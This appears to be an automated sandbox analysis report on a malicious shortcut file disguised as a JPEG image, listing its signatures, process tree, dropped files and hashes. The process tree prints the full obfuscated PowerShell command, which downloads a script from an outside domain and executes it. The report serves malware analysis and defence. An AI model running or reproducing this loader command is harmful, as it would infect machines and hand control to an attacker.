Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 04:33

General

  • Target
    IMG_20260908_075537.jpg.lnk
  • Size 1KB
  • Sample260910-e6m88sxglh
  • SHA256 324e612220df1f9786420e288b92abcc04cea9bb4166ef033228d977e34412fd
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://dtxsysg.com/?e=v

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260908_075537.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$d=New-Object ('System.Net.We'+'bClient');$d.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; WindowsPowerShell)');iex ($d.('DownloadStrin'+'g')([string]::Join('',@('ht','tps:/','/d','txs','ysg.com/?e=','v'))))"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4548
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4vklivor\4vklivor.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2092
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5267.tmp" "c:\Users\Admin\AppData\Local\Temp\4vklivor\CSCD4343C2E7F64295AFABE956C01AA1E3.TMP"
          4⤵
            PID:4636

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          4vklivor.dll

          • Path C:\Users\Admin\AppData\Local\Temp\4vklivor\4vklivor.dll
          • Size 3KB
          • SHA256 5c30eaf59e95a4544465dd1b160628c8fbc4afc50c7b2f778065703a9968d885
          • MD5 SHA1 SHA512 TLSH

          RES5267.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES5267.tmp
          • Size 1KB
          • SHA256 339b0f8451483d08b6aa0c312446816a0f4f70fddb778ea0873e9f5da3c37bc4
          • MD5 SHA1 SHA512 TLSH

          4vklivor.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\4vklivor\4vklivor.0.cs
          • Size 233B
          • SHA256 10b90d2edabdea89acd55370f2d03b8d41fefa7a67258012eecceb8779b35b6f
          • MD5 SHA1 SHA512 TLSH

          4vklivor.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\4vklivor\4vklivor.cmdline
          • Size 369B
          • SHA256 4ef09ee2da526bb155f86547619ddced0a4f00e7cc5d016fbebb1ec9d1bb6623
          • MD5 SHA1 SHA512 TLSH

          CSCD4343C2E7F64295AFABE956C01AA1E3.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\4vklivor\CSCD4343C2E7F64295AFABE956C01AA1E3.TMP
          • Size 652B
          • SHA256 69e6b6b28c2966d53d482ce48eabf0467841f8ac691a3f635bc2ee170c2d8ea3
          • MD5 SHA1 SHA512 TLSH

          memory/4548-10-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-29-0x000001A46D840000-0x000001A46D848000-memory.dmp

          memory/4548-11-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-12-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-13-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-9-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-8-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-14-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-20-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-7-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-6-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-2-0x00007FFE33FFF000-0x00007FFE34000000-memory.dmp

          memory/4548-27-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp

          memory/4548-5-0x000001A46D380000-0x000001A46D3A2000-memory.dmp

          memory/4548-32-0x000001A46D880000-0x000001A46D89E000-memory.dmp

          memory/4548-33-0x000001A46D8A0000-0x000001A46D952000-memory.dmp

          memory/4548-34-0x000001A46D960000-0x000001A46D96A000-memory.dmp

          memory/4548-36-0x000001A46D9A0000-0x000001A46D9C4000-memory.dmp

          memory/4548-35-0x000001A46D9A0000-0x000001A46D9CA000-memory.dmp

          memory/4548-37-0x000001A46DF50000-0x000001A46E112000-memory.dmp

          memory/4548-38-0x000001A46E650000-0x000001A46EB78000-memory.dmp

          memory/4548-40-0x00007FFE33E70000-0x00007FFE34814000-memory.dmp